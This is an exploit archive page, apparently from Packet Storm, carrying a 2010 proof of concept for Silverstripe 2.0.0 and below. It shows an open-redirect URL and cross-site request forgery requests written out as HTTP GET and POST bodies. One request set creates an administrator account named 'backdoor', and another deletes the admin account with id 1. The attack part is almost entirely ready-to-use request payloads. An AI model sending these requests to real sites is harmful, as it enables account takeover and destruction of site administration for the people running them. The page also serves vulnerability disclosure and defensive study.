exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Silverstripe 2.0.0 Cross Site Request Forgery

Silverstripe 2.0.0 Cross Site Request Forgery
Posted Jan 24, 2010
Authored by cp77fk4r

Silverstripe versions 2.0.0 and below suffer from cross site request forgery and open redirection vulnerabilities.

tags | exploit, vulnerability, csrf
SHA-256 | eb0f2e3417170c205f93095759adca2dd6bec78f33179a5505e6f2b346f42bbf

Silverstripe 2.0.0 Cross Site Request Forgery

Change Mirror Download


# Exploit Title: Silverstripe <= 2.0.0 Cross Site Request Forgery & Open Redirection.
# Date: 12/01/10
# Author: cp77fk4r | empty0page[SHIFT+2]gmail.com<http://gmail.com> | www.DigitalWhisper.co.il<http://www.DigitalWhisper.co.il>
# Software Link: www.silverstripe.com<http://www.silverstripe.com> | demo.silverstripe.com<http://demo.silverstripe.com>
# Version: 2.0.0
# Tested on: PHP
#
#
##Open Redirection:
(OWASP: An open redirect is an application that takes a parameter and redirects a user to the parameter value without any validation. This vulnerability is used in phishing attacks to get users to visit malicious sites without realizing it.)
#
http://demo.silverstripe.com/Security/login?BackURL=[URL]
#
PoC:
http://demo.silverstripe.com/Security/login?BackURL=http://www.google.com
#
#
##Cross Site Request Forgery
(CSRF is an attack which forces an end user to execute unwanted actions on a web application in which he/she is currently authenticated. With a little help of social engineering (like sending a link via email/chat), an attacker may force the users of a web application to execute actions of the attacker's choosing. A successful CSRF exploit can compromise end user data and operation in case of normal user. If the targeted end user is the administrator account, this can compromise the entire web application.)
#
Add new Superuser Account:
#
HTTP GET: /admin/security/EditForm?fieldName=Members&action_callfieldmethod&methodName=addtogroup
HTTP POST: ajax=1&Title=Administrators&MemberSearch=&ctf%5BID%5D=1&MemberFieldName=Members&MemberDontShowPassword=&MemberFilterButton=Filter&FirstName=[BACKDOOR]&Surname=[BACKDOOR]&Email=[MAIL]&SetPassword=[BACKDOOR]&ctf%5BID%5D=1&SecurityID=160711687&action_addtogroup%3FformController%3Dadmin%2Fsecurity%2FEditForm%2Ffield%2FMembers%2FAddRecordForm=Add&Permissions%5B1%5D%5BArg%5D=0&Permissions%5Bnew%5D%5BArg%5D%5B%5D=&ID=1&SecurityID=160711687
#
PoC: (Username: backdoor; Password: backdoor)
HTTP GET: /admin/security/EditForm?fieldName=Members&action_callfieldmethod&methodName=addtogroup
HTTP POST: ajax=1&Title=Administrators&MemberSearch=&ctf%5BID%5D=1&MemberFieldName=Members&MemberDontShowPassword=&MemberFilterButton=Filter&FirstName=backdoor&Surname=backdoor&Email=blah%40blah.blah&SetPassword=backdoor&ctf%5BID%5D=1&SecurityID=160711687&action_addtogroup%3FformController%3Dadmin%2Fsecurity%2FEditForm%2Ffield%2FMembers%2FAddRecordForm=Add&Permissions%5B1%5D%5BArg%5D=0&Permissions%5Bnew%5D%5BArg%5D%5B%5D=&ID=1&SecurityID=160711687
#
#
Delete user: [id]=user id (by default, the admin id is 1)
#
HTTP GET: /admin/security/EditForm/field/Members/item/[id]/delete
HTTP POST: forceajax=1
#
PoC: (delete the Admin account)
HTTP GET: /admin/security/EditForm/field/Members/item/1/delete
HTTP POST: forceajax=1
#
#
[e0f]



Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close